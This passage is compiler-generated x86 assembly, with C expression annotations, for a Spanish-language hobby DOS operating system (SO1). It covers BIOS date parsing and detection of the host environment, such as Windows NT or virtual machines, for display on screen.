20 ; RPN'ized expression: "9 " ; Expanded expression: "9 " ; Expression value: 9 ; glb VIDEOPARAM_t : struct <something> ; RPN'ized expression: "256 " ; Expanded expression: "256 " ; Expression value: 256 ; RPN'ized expression: "4 " ; Expanded expression: "4 " ; Expression value: 4 ; RPN'ized expression: "3 " ; Expanded expression: "3 " ; Expression value: 3 ; RPN'ized expression: "16 " ; Expanded expression: "16 " ; Expression value: 16 ; RPN'ized expression: "7 " ; Expanded expression: "7 " ; Expression value: 7 ; RPN'ized expression: "8 " ; Expanded expression: "8 " ; Expression value: 8 ; RPN'ized expression: "2 " ; Expanded expression: "2 " ; Expression value: 2 ; RPN'ized expression: "2 " ; Expanded expression: "2 " ; Expression value: 2 ; RPN'ized expression: "5 " ; Expanded expression: "5 " ; Expression value: 5 ; RPN'ized expression: "2 " ; Expanded expression: "2 " ; Expression value: 2 ; RPN'ized expression: "3 " ; Expanded expression: "3 " ; Expression value: 3 ; RPN'ized expression: "4 " ; Expanded expression: "4 " ; Expression value: 4 ; RPN'ized expression: "11 " ; Expanded expression: "11 " ; Expression value: 11 ; RPN'ized expression: "7 " ; Expanded expression: "7 " ; Expression value: 7 ; RPN'ized expression: "68 " ; Expanded expression: "68 " ; Expression value: 68 ; RPN'ized expression: "16 " ; Expanded expression: "16 " ; Expression value: 16 ; glb BIOSAREA_t : struct <something> ; glb ptrBiosArea : * struct <something> ; glb ptrFechaBios : * unsigned char ; glb salvarPantallaInicial : (void) void ; glb restaurarPantallaInicial : (void) void ; glb finProgDOS : ( ; prm error : int ; ) void ; RPN'ized expression: "21 " ; Expanded expression: "21 " ; Expression value: 21 ; RPN'ized expression: "13 " ; Expanded expression: "13 " ; Expression value: 13 ; glb hayMSDOS : (void) int ; glb hayDOSBox : (void) int ; glb hayWindowsNT : (void) int ; glb segPSP : (void) unsigned short ; glb versionMSDOS : (void) unsigned short ; glb entornoMSDOS : (void) * unsigned char ; glb valorMSDOS : ( ; prm str : * char ; ) * unsigned char ; glb argcMSDOS : (void) int ; glb getArgvMSDOS : ( ; prm n : unsigned short ; prm str : * char ; ) int ; glb openDOS : ( ; prm nombre : * unsigned char ; prm modo : unsigned char ; ) int ; glb extendedOpenDOS : ( ; prm nombre : * unsigned char ; prm modo : unsigned short ; prm atr : unsigned short ; prm accion : * unsigned short ; prm error : * unsigned short ; ) int ; glb closeDOS : ( ; prm df : int ; ) int ; glb commitFileDOS : ( ; prm df : int ; ) int ; glb createDOS : ( ; prm nombre : * unsigned char ; prm atributo : unsigned short ; ) int ; glb readDOS : ( ; prm df : int ; prm buf : * char ; prm n : int ; ) int ; glb writeDOS : ( ; prm df : int ; prm buf : * char ; prm n : int ; ) int ; glb lseekDOS : ( ; prm df : int ; prm pos : * unsigned ; prm whence : int ; ) int ; glb getdiskDOS : (void) int ; glb setdiskDOS : ( ; prm drive : int ; ) int ; glb getcurdirDOS : ( ; prm drive : int ; prm direc : * char ; ) int ; glb chdirDOS : ( ; prm path : * char ; ) int ; glb findfirstDOS : ( ; prm pathname : * char ; prm ffblk : * struct ffblk ; prm attrib : int ; ) int ; glb findnextDOS : ( ; prm ffblk : * struct ffblk ; ) int ; glb tipoOrdenador : (void) unsigned char ; glb rebootLegacy : (void) void ; glb tipoTeclado : (void) unsigned char ; glb leerTeclaBIOS : (void) unsigned short ; glb leerTeclaExtBIOS : (void) unsigned short ; glb teclaListaBIOS : (void) unsigned short ; glb leerTeclaListaBDA : (void) unsigned short ; glb teclaListaBDA : (void) unsigned short ; glb printCarBIOS : ( ; prm car : char ; ) int ; glb printCarPagBIOS : ( ; prm car : char ; prm pag : unsigned char ; ) int ; glb printCarAtrPagBIOS : ( ; prm car : char ; prm atr : unsigned char ; prm pag : unsigned char ; ) int ; glb printLnBIOS : (void) int ; glb printStrBIOS : ( ; prm str : * char ; ) int ; glb printStrHastaBIOS : ( ; prm str : * char ; prm n : unsigned short ; prm lleno : int ; ) int ; glb printDecBIOS : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLDecBIOS : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printIntBIOS : ( ; prm num : short ; prm l : unsigned short ; ) int ; glb printLIntBIOS : ( ; prm num : int ; prm l : unsigned short ; ) int ; glb printHexBIOS : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLHexBIOS : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printBinBIOS : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLBinBIOS : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printPtrBIOS : ( ; prm ptr : * unsigned char ; ) int ; glb printByteBIOS : ( ; prm b : unsigned char ; ) int ; glb printWordBIOS : ( ; prm w : unsigned short ; ) int ; glb printCadBIOS : ( ; prm cad : * char ; ) int ; glb esperarTicsBIOS : ( ; prm tics : unsigned short ; ) void ; glb modoDeVideo : (void) unsigned char ; glb establecerModoDeVideo : ( ; prm modo : unsigned char ; ) void ; glb paginaActiva : (void) unsigned char ; glb establecerPaginaActiva : ( ; prm num : unsigned char ; ) void ; glb numPagsVideo : (void) unsigned char ; glb scrollPagBDA : ( ; prm numLineas : unsigned char ; prm pag : unsigned char ; ) void ; glb scrollPagBIOS : ( ; prm numLineas : unsigned char ; prm pag : unsigned char ; ) void ; glb scrollBIOS : ( ; prm numLineas : unsigned char ; ) void ; glb goToXYPag : ( ; prm fila : unsigned char ; prm columna : unsigned char ; prm pag : unsigned char ; ) void ; glb goToXYBIOS : ( ; prm fila : unsigned char ; prm columna : unsigned char ; ) void ; glb setCursorBIOS : ( ; prm linea1 : unsigned char ; prm linea2 : unsigned char ; ) void ; glb ocultaCursorBIOS : (void) void ; glb readXYPagBIOS : ( ; prm fila : * unsigned char ; prm columna : * unsigned char ; prm linea1 : * unsigned char ; prm linea2 : * unsigned char ; prm pag : unsigned char ; ) void ; glb readXYBIOS : ( ; prm fila : * unsigned char ; prm columna : * unsigned char ; prm linea1 : * unsigned char ; prm linea2 : * unsigned char ; ) void ; glb memBIOS : (void) unsigned short ; glb enviarBIOS : ( ; prm car : char ; ) void ; glb recibirBIOS : (void) char ; glb hayApmBIOS : ( ; prm version : * unsigned short ; ) int ; glb connectApmBIOS : (void) int ; glb disconnectApmBIOS : (void) int ; glb cpuIdleBIOS : (void) void ; glb cpuBusyBIOS : (void) void ; glb pos_t : struct <something> ; RPN'ized expression: "50 " ; Expanded expression: "50 " ; Expression value: 50 ; RPN'ized expression: "80 " ; Expanded expression: "80 " ; Expression value: 80 ; glb pantalla_t : union <something> ; glb tamPantalla : ( ; prm numFilas : unsigned char ; ) unsigned short ; glb pantallazo : ( ; prm pantalla : * union <something> ; prm numFilas : unsigned short ; prm car : char ; prm atr : char ; prm esqSupDeF : unsigned char ; prm esqSupDeC : unsigned char ; prm esqInfIzF : unsigned char ; prm esqInfIzC : unsigned char ; ) void ; glb borrarPantalla : ( ; prm pantalla : * union <something> ; prm numFilas : unsigned short ; ) void ; glb borrarCPantalla : ( ; prm pantalla : * union <something> ; prm numFilas : unsigned short ; ) void ; glb copiarPantalla : ( ; prm p1 : * union <something> ; prm p2 : * union <something> ; prm numFilas : unsigned short ; ) void ; glb copiarCPantalla : ( ; prm p1 : * union <something> ; prm p2 : * union <something> ; prm numFilas : unsigned short ; ) void ; glb scrollPantalla : ( ; prm pantalla : * union <something> ; prm numFilas : unsigned short ; ) void ; glb scrollCPantalla : ( ; prm pantalla : * union <something> ; prm numFilas : unsigned short ; ) void ; RPN'ized expression: "4 " ; Expanded expression: "4 " ; Expression value: 4 ; RPN'ized expression: "7 " ; Expanded expression: "7 " ; Expression value: 7 ; RPN'ized expression: "10 " ; Expanded expression: "10 " ; Expression value: 10 ; RPN'ized expression: "48 " ; Expanded expression: "48 " ; Expression value: 48 ; glb tipoAdaptador_t : int ; RPN'ized expression: "8 " ; Expanded expression: "8 " ; Expression value: 8 ; RPN'ized expression: "14 " ; Expanded expression: "14 " ; Expression value: 14 ; glb fontSize_t : int ; glb numFilas : unsigned char ; glb numColumnas : unsigned char ; glb ptrPant : * union <something> ; glb tipoAdaptador : int ; glb redimensionable : int ; glb fontSize : unsigned char ; glb visibilidad : unsigned char ; glb inicBiosCrt : (void) void ; glb finBiosCrt : (void) void ; glb getFontSize : (void) int ; glb getFilas : (void) unsigned char ; glb comprobarAdaptador : ( ; prm tipoAdaptador : int ; ) int ; glb tipoDeAdaptador : (void) int ; glb setCursorVisibilidad : ( ; prm valorDeVisibilidad : int ; ) unsigned char ; glb setFontSize : ( ; prm size : int ; ) void ; glb set25x80 : (void) void ; glb redimensionar : ( ; prm nFilas : unsigned char ; prm nCols : unsigned char ; ) void ; glb printCarVideo : ( ; prm car : char ; ) int ; glb printLnVideo : (void) int ; glb printStrVideo : ( ; prm str : * char ; ) int ; glb printStrHastaVideo : ( ; prm str : * char ; prm n : unsigned short ; prm lleno : int ; ) int ; glb printDecVideo : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLDecVideo : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printIntVideo : ( ; prm num : int ; prm l : unsigned short ; ) int ; glb printLIntVideo : ( ; prm num : int ; prm l : unsigned short ; ) int ; glb printHexVideo : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLHexVideo : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printBinVideo : ( ; prm num : unsigned short ; prm l : unsigned short ; ) int ; glb printLBinVideo : ( ; prm num : unsigned ; prm l : unsigned short ; ) int ; glb printPtrVideo : ( ; prm ptr : * unsigned char ; ) int ; glb printByteVideo : ( ; prm b : unsigned char ; ) int ; glb printWordVideo : ( ; prm w : unsigned short ; ) int ; glb printCadVideo : ( ; prm cad : * char ; ) int ; glb puntoDeParadaSO1 : (void) void ; glb leerScancodeListo : (void) unsigned char ; glb leerScancode : (void) unsigned char ; glb mirarLoQueHay : ( ; prm loQueHay : * unsigned short ; ) void ; glb mostrarLoQueHay : ( ; prm loQueHay : unsigned short ; ) void ; glb tirarS0 : ( ; prm loQueHay : unsigned short ; ) void ; glb fechaCompactada : ( ; prm ptrFecha : * char ; ) unsigned short section .text global _fechaCompactada _fechaCompactada: push ebp movzx ebp, sp sub sp, 12 ; loc ptrFecha : (@8): * char ; loc mes : (@-4): unsigned short ; loc dia : (@-8): unsigned short ; loc anio : (@-12): unsigned short ; if ; RPN'ized expression: "ptrFecha 2 + *u 47 != ptrFecha 5 + *u 47 != || " ; Expanded expression: "(@8) *(4) 2 + *(-1) 47 != [sh||->5] (@8) *(4) 5 + *(-1) 47 != ||[5] " ; Fused expression: "+ *(@8) 2 != *ax 47 [sh||->5] + *(@8) 5 != *ax 47 ||[5] " mov eax, [bp+8] add eax, 2 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al cmp eax, 47 setne al movzx eax, al ; JumpIfNotZero test eax, eax jne L5 mov eax, [bp+8] add eax, 5 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al cmp eax, 47 setne al movzx eax, al L5: ; JumpIfZero test eax, eax je L3 ; return ; RPN'ized expression: "0 " ; Expanded expression: "0 " ; Expression value: 0 ; Fused expression: "0 " mov eax, 0 jmp L1 L3: ; RPN'ized expression: "mes 10 ptrFecha 0 + *u 48 - * ptrFecha 1 + *u 48 - + = " ; Expanded expression: "(@-4) 10 (@8) *(4) 0 + *(-1) 48 - * (@8) *(4) 1 + *(-1) 48 - + =(2) " ; Fused expression: "+ *(@8) 0 - *ax 48 * 10 ax push-ax + *(@8) 1 - *ax 48 + *sp ax =(172) *(@-4) ax " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax mov eax, 10 mul ecx push eax mov eax, [bp+8] inc eax mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax pop eax add eax, ecx mov [bp-4], ax movzx eax, ax ; if ; RPN'ized expression: "mes 0 == mes 12 > || " ; Expanded expression: "(@-4) *(2) 0 == [sh||->8] (@-4) *(2) 12 > ||[8] " ; Fused expression: "== *(@-4) 0 [sh||->8] > *(@-4) 12 ||[8] " mov ax, [bp-4] movzx eax, ax cmp eax, 0 sete al movzx eax, al ; JumpIfNotZero test eax, eax jne L8 mov ax, [bp-4] movzx eax, ax cmp eax, 12 setg al movzx eax, al L8: ; JumpIfZero test eax, eax je L6 ; return ; RPN'ized expression: "0 " ; Expanded expression: "0 " ; Expression value: 0 ; Fused expression: "0 " mov eax, 0 jmp L1 L6: ; RPN'ized expression: "dia 10 ptrFecha 3 + *u 48 - * ptrFecha 4 + *u 48 - + = " ; Expanded expression: "(@-8) 10 (@8) *(4) 3 + *(-1) 48 - * (@8) *(4) 4 + *(-1) 48 - + =(2) " ; Fused expression: "+ *(@8) 3 - *ax 48 * 10 ax push-ax + *(@8) 4 - *ax 48 + *sp ax =(172) *(@-8) ax " mov eax, [bp+8] add eax, 3 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax mov eax, 10 mul ecx push eax mov eax, [bp+8] add eax, 4 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax pop eax add eax, ecx mov [bp-8], ax movzx eax, ax ; if ; RPN'ized expression: "dia 0 == dia 31 > || " ; Expanded expression: "(@-8) *(2) 0 == [sh||->11] (@-8) *(2) 31 > ||[11] " ; Fused expression: "== *(@-8) 0 [sh||->11] > *(@-8) 31 ||[11] " mov ax, [bp-8] movzx eax, ax cmp eax, 0 sete al movzx eax, al ; JumpIfNotZero test eax, eax jne L11 mov ax, [bp-8] movzx eax, ax cmp eax, 31 setg al movzx eax, al L11: ; JumpIfZero test eax, eax je L9 ; return ; RPN'ized expression: "0 " ; Expanded expression: "0 " ; Expression value: 0 ; Fused expression: "0 " mov eax, 0 jmp L1 L9: ; RPN'ized expression: "anio 10 ptrFecha 6 + *u 48 - * ptrFecha 7 + *u 48 - + = " ; Expanded expression: "(@-12) 10 (@8) *(4) 6 + *(-1) 48 - * (@8) *(4) 7 + *(-1) 48 - + =(2) " ; Fused expression: "+ *(@8) 6 - *ax 48 * 10 ax push-ax + *(@8) 7 - *ax 48 + *sp ax =(172) *(@-12) ax " mov eax, [bp+8] add eax, 6 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax mov eax, 10 mul ecx push eax mov eax, [bp+8] add eax, 7 mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movsx eax, al sub eax, 48 mov ecx, eax pop eax add eax, ecx mov [bp-12], ax movzx eax, ax ; return ; RPN'ized expression: "anio 9 << mes 5 << | dia | " ; Expanded expression: "(@-12) *(2) 9 << (@-4) *(2) 5 << | (@-8) *(2) | " ; Fused expression: "<< *(@-12) 9 push-ax << *(@-4) 5 | *sp ax | ax *(@-8) unsigned short " mov ax, [bp-12] movzx eax, ax shl eax, 9 push eax mov ax, [bp-4] movzx eax, ax shl eax, 5 mov ecx, eax pop eax or eax, ecx movzx ecx, word [bp-8] or eax, ecx movzx eax, ax L1: db 0x66 leave retf L12: section .fxnsz noalloc dd L12 - _fechaCompactada ; glb mirarLoQueHay : ( ; prm loQueHay : * unsigned short ; ) void section .text global _mirarLoQueHay _mirarLoQueHay: push ebp movzx ebp, sp sub sp, 4 ; loc loQueHay : (@8): * unsigned short ; RPN'ized expression: "loQueHay *u 0 = " ; Expanded expression: "(@8) *(4) 0 =(2) " ; Fused expression: "*(4) (@8) =(172) *ax 0 " mov eax, [bp+8] mov ebx, eax mov eax, 0 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; switch ; RPN'ized expression: "( modoSO1 ) " ; Expanded expression: " modoSO1 ()0 " ; Fused expression: "( modoSO1 )0 " db 0x9A section .relot dd L17 section .text L17: dd _modoSO1 jmp L16 ; { ; case ; RPN'ized expression: "modoSO1_Bin " ; Expanded expression: "0 " ; Expression value: 0 L18: ; break jmp L15 ; case ; RPN'ized expression: "modoSO1_Exe " ; Expanded expression: "1 " ; Expression value: 1 L19: ; RPN'ized expression: "loQueHay *u 1 |= " ; Expanded expression: "(@8) *(4) 1 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 1 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 1 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; if ; RPN'ized expression: "( hayWindowsNT ) " ; Expanded expression: " hayWindowsNT ()0 " ; Fused expression: "( hayWindowsNT )0 " db 0x9A section .relot dd L22 section .text L22: dd _hayWindowsNT ; JumpIfZero test eax, eax je L20 ; RPN'ized expression: "loQueHay *u 2 |= " ; Expanded expression: "(@8) *(4) 2 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 2 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 2 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax L20: ; break jmp L15 ; default L23: section .rodata L24: db 7,10," SO1() ERROR: modoSO1() = " times 1 db 0 section .text ; RPN'ized expression: "( L24 , FALSE assert ) " ; Expanded expression: " L24 0 assert ()8 " ; Fused expression: "( L24 , 0 , assert )8 " section .relod dd L25 section .text db 0x66, 0x68 L25: dd L24 push dword 0 db 0x9A section .relot dd L26 section .text L26: dd _assert sub sp, -8 ; RPN'ized expression: "( 2 , ( modoSO1 ) printHexVideo ) " ; Expanded expression: " 2 modoSO1 ()0 printHexVideo ()8 " ; Fused expression: "( 2 , ( modoSO1 )0 , printHexVideo )8 " push dword 2 db 0x9A section .relot dd L27 section .text L27: dd _modoSO1 push eax db 0x9A section .relot dd L28 section .text L28: dd _printHexVideo sub sp, -8 ; RPN'ized expression: "( leerScancode ) " ; Expanded expression: " leerScancode ()0 " ; Fused expression: "( leerScancode )0 " db 0x9A section .relot dd L29 section .text L29: dd _leerScancode ; RPN'ized expression: "( 1 finProgDOS ) " ; Expanded expression: " 1 finProgDOS ()4 " ; Fused expression: "( 1 , finProgDOS )4 " push dword 1 db 0x9A section .relot dd L30 section .text L30: dd _finProgDOS sub sp, -4 ; { int 19h ; } ; RPN'ized expression: "( rebootLegacy ) " ; Expanded expression: " rebootLegacy ()0 " ; Fused expression: "( rebootLegacy )0 " db 0x9A section .relot dd L31 section .text L31: dd _rebootLegacy ; } jmp L15 L16: cmp eax, 0 je L18 cmp eax, 1 je L19 jmp L23 L15: ; switch ; RPN'ized expression: "( ptrFechaBios fechaCompactada ) " ; Expanded expression: " ptrFechaBios *(4) fechaCompactada ()4 " ; Fused expression: "( ptrFechaBios *(4) ax , fechaCompactada )4 " section .relod dd L34 section .text db 0x66, 0xB8 L34: dd _ptrFechaBios mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 push dword [si] db 0x9A section .relot dd L35 section .text L35: dd _fechaCompactada sub sp, -4 jmp L33 ; { ; case ; RPN'ized expression: "50903 " ; Expanded expression: "50903 " ; Expression value: 50903 L36: ; RPN'ized expression: "loQueHay *u 4 |= " ; Expanded expression: "(@8) *(4) 4 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 4 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 4 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "5706 " ; Expanded expression: "5706 " ; Expression value: 5706 L37: ; case ; RPN'ized expression: "7578 " ; Expanded expression: "7578 " ; Expression value: 7578 L38: ; case ; RPN'ized expression: "8784 " ; Expanded expression: "8784 " ; Expression value: 8784 L39: ; RPN'ized expression: "loQueHay *u 8 |= " ; Expanded expression: "(@8) *(4) 8 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 8 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 8 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "47137 " ; Expanded expression: "47137 " ; Expression value: 47137 L40: ; RPN'ized expression: "loQueHay *u 16 |= " ; Expanded expression: "(@8) *(4) 16 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 16 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 16 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "48867 " ; Expanded expression: "48867 " ; Expression value: 48867 L41: ; RPN'ized expression: "loQueHay *u 32 |= " ; Expanded expression: "(@8) *(4) 32 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 32 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 32 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "6306 " ; Expanded expression: "6306 " ; Expression value: 6306 L42: ; RPN'ized expression: "loQueHay *u 64 |= " ; Expanded expression: "(@8) *(4) 64 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 64 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 64 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "50721 " ; Expanded expression: "50721 " ; Expression value: 50721 L43: ; RPN'ized expression: "loQueHay *u 128 |= " ; Expanded expression: "(@8) *(4) 128 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 128 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 128 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; case ; RPN'ized expression: "3158 " ; Expanded expression: "3158 " ; Expression value: 3158 L44: ; RPN'ized expression: "loQueHay *u 256 |= " ; Expanded expression: "(@8) *(4) 256 |=(2) " ; Fused expression: "*(4) (@8) |=(172) *ax 256 " mov eax, [bp+8] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov ax, [si] movzx eax, ax or eax, 256 mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], ax movzx eax, ax ; break jmp L32 ; default L45: ; if ; RPN'ized expression: "( modoSO1 ) modoSO1_Bin == ( modoSO1 ) modoSO1_Exe == || " ; Expanded expression: " modoSO1 ()0 0 == [sh||->48] modoSO1 ()0 1 == ||[48] " ; Fused expression: "( modoSO1 )0 == ax 0 [sh||->48] ( modoSO1 )0 == ax 1 ||[48] " db 0x9A section .relot dd L49 section .text L49: dd _modoSO1 cmp eax, 0 sete al movzx eax, al ; JumpIfNotZero test eax, eax jne L48 db 0x9A section .relot dd L50 section .text L50: dd _modoSO1 cmp eax, 1 sete al movzx eax, al L48: ; JumpIfZero test eax, eax je L46 ; { ; RPN'ized expression: "( printLnVideo ) " ; Expanded expression: " printLnVideo ()0 " ; Fused expression: "( printLnVideo )0 " db 0x9A section .relot dd L51 section .text L51: dd _printLnVideo section .rodata L52: db 7,10," so1(): fecha del BIOS = " times 1 db 0 section .text ; RPN'ized expression: "( L52 printStrVideo ) " ; Expanded expression: " L52 printStrVideo ()4 " ; Fused expression: "( L52 , printStrVideo )4 " section .relod dd L53 section .text db 0x66, 0x68 L53: dd L52 db 0x9A section .relot dd L54 section .text L54: dd _printStrVideo sub sp, -4 ; for ; loc i : (@-4): int ; RPN'ized expression: "i 0 = " ; Expanded expression: "(@-4) 0 =(4) " ; Fused expression: "=(204) *(@-4) 0 " mov eax, 0 mov [bp-4], eax L55: ; RPN'ized expression: "i 8 < " ; Expanded expression: "(@-4) *(4) 8 < " ; Fused expression: "< *(@-4) 8 IF! " mov eax, [bp-4] cmp eax, 8 jge L58 ; RPN'ized expression: "i ++p " ; Expanded expression: "(@-4) ++p(4) " ; RPN'ized expression: "( ptrFechaBios i + *u printCarVideo ) " ; Expanded expression: " ptrFechaBios *(4) (@-4) *(4) + *(1) printCarVideo ()4 " ; Fused expression: "( ptrFechaBios + *ax *(@-4) *(1) ax , printCarVideo )4 " section .relod dd L59 section .text db 0x66, 0xB8 L59: dd _ptrFechaBios mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov eax, [si] add eax, [bp-4] mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov al, [si] movzx eax, al push eax db 0x9A section .relot dd L60 section .text L60: dd _printCarVideo sub sp, -4 L56: ; Fused expression: "++p(4) *(@-4) " mov eax, [bp-4] inc dword [bp-4] jmp L55 L58: section .rodata L61: db 10,10," fecha compactada = " times 1 db 0 section .text ; RPN'ized expression: "( L61 printStrVideo ) " ; Expanded expression: " L61 printStrVideo ()4 " ; Fused expression: "( L61 , printStrVideo )4 " section .relod dd L62 section .text db 0x66, 0x68 L62: dd L61 db 0x9A section .relot dd L63 section .text L63: dd _printStrVideo sub sp, -4 ; RPN'ized expression: "( 1 , ( ptrFechaBios fechaCompactada ) printLDecVideo ) " ; Expanded expression: " 1 ptrFechaBios *(4) fechaCompactada ()4 printLDecVideo ()8 " ; Fused expression: "( 1 , ( ptrFechaBios *(4) ax , fechaCompactada )4 , printLDecVideo )8 " push dword 1 section .relod dd L64 section .text db 0x66, 0xB8 L64: dd _ptrFechaBios mov ebx, eax mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 push dword [si] db 0x9A section .relot dd L65 section .text L65: dd _fechaCompactada sub sp, -4 push eax db 0x9A section .relot dd L66 section .text L66: dd _printLDecVideo sub sp, -8 section .rodata L67: db " ==> Maquina (virtual) inexplorada",10 db 10 db " presione una tecla para continuar " times 1 db 0 section .text ; RPN'ized expression: "( L67 printStrVideo ) " ; Expanded expression: " L67 printStrVideo ()4 " ; Fused expression: "( L67 , printStrVideo )4 " section .relod dd L68 section .text db 0x66, 0x68 L68: dd L67 db 0x9A section .relot dd L69 section .text L69: dd _printStrVideo sub sp, -4 ; RPN'ized expression: "( leerScancode ) " ; Expanded expression: " leerScancode ()0 " ; Fused expression: "( leerScancode )0 " db 0x9A section .relot dd L70 section .text L70: dd _leerScancode ; } L46: ; } jmp L32 L33: cmp eax, 50903 je L36 cmp eax, 5706 je L37 cmp eax, 7578 je L38 cmp eax, 8784 je L39 cmp eax, 47137 je L40 cmp eax, 48867 je L41 cmp eax, 6306 je L42 cmp eax, 50721 je L43 cmp eax, 3158 je L44 jmp L45 L32: L13: db 0x66 leave retf L71: section .fxnsz dd L71 - _mirarLoQueHay ; glb ponerMuescaX : ( ; prm nombreSistema : * char ; prm hayEseSistema : int ; ) void section .text global _ponerMuescaX _ponerMuescaX: push ebp movzx ebp, sp ;sub sp, 0 ; loc nombreSistema : (@8): * char ; loc hayEseSistema : (@12): int ; RPN'ized expression: "( nombreSistema printStrVideo ) " ; Expanded expression: " (@8) *(4) printStrVideo ()4 " ; Fused expression: "( *(4) (@8) , printStrVideo )4 " push dword [bp+8] db 0x9A section .relot dd L74 section .text L74: dd _printStrVideo sub sp, -4 ; RPN'ized expression: "( 91 printCarVideo ) " ; Expanded expression: " 91 printCarVideo ()4 " ; Fused expression: "( 91 , printCarVideo )4 " push dword 91 db 0x9A section .relot dd L75 section .text L75: dd _printCarVideo sub sp, -4 ; if ; RPN'ized expression: "hayEseSistema " ; Expanded expression: "(@12) *(4) " ; Fused expression: "*(4) (@12) " mov eax, [bp+12] ; JumpIfZero test eax, eax je L76 ; RPN'ized expression: "( 88 printCarVideo ) " ; Expanded expression: " 88 printCarVideo ()4 " ; Fused expression: "( 88 , printCarVideo )4 " push dword 88 db 0x9A section .relot dd L78 section .text L78: dd _printCarVideo sub sp, -4 jmp L77 L76: ; else ; RPN'ized expression: "( 32 printCarVideo ) " ; Expanded expression: " 32 printCarVideo ()4 " ; Fused expression: "( 32 , printCarVideo )4 " push dword 32 db 0x9A section .relot dd L79 section .text L79: dd _printCarVideo sub sp, -4 L77: section .rodata L80: db "] " times 1 db 0 section .text ; RPN'ized expression: "( L80 printStrVideo ) " ; Expanded expression: " L80 printStrVideo ()4 " ; Fused expression: "( L80 , printStrVideo )4 " section .relod dd L81 section .text db 0x66, 0x68 L81: dd L80 db 0x9A section .relot dd L82 section .text L82: dd _printStrVideo sub sp, -4 L72: db 0x66 leave retf L83: section .fxnsz dd L83 - _ponerMuescaX ; glb mostrarLoQueHay : ( ; prm loQueHay : unsigned short ; ) void section .text global _mostrarLoQueHay _mostrarLoQueHay: push ebp movzx ebp, sp ;sub sp, 0 ; loc loQueHay : (@8): unsigned short ; RPN'ized expression: "( 12 printCarVideo ) " ; Expanded expression: " 12 printCarVideo ()4 " ; Fused expression: "( 12 , printCarVideo )4 " push dword 12 db 0x9A section .relot dd L86 section .text L86: dd _printCarVideo sub sp, -4 ; RPN'ized expression: "( 0 , 1 goToXYVideo ) " ; Expanded expression: " 0 1 